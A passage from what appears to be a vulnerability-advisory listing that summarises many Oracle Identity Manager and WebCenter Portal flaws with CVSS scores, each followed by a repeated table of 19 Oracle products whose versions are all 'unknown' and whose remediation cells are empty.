vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical RMI-based vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers to fully compromise the system, with a CVSS 3.1 base score of 9.9 indicating severe risk.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to cause unauthorized data modification or partial denial of service, rated CVSS 3.1 base score 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to create, delete, or modify critical data, rated CVSS 3.1 base score 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to potentially create, delete, or modify critical data, scoring 8.7 on CVSS 3.1.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access to critical data, with a CVSS 3.1 base score of 7.7.
7.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access, modify data, or cause partial denial of service, rated CVSS 7.6.
7.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 3.1 base score 8.5.
8.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to potentially take control of the portal, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially create, delete, or modify critical data, rated with a CVSS score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially create, delete, or modify critical data, rated with a CVSS score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.6.
7.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to potentially compromise confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 base score of 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
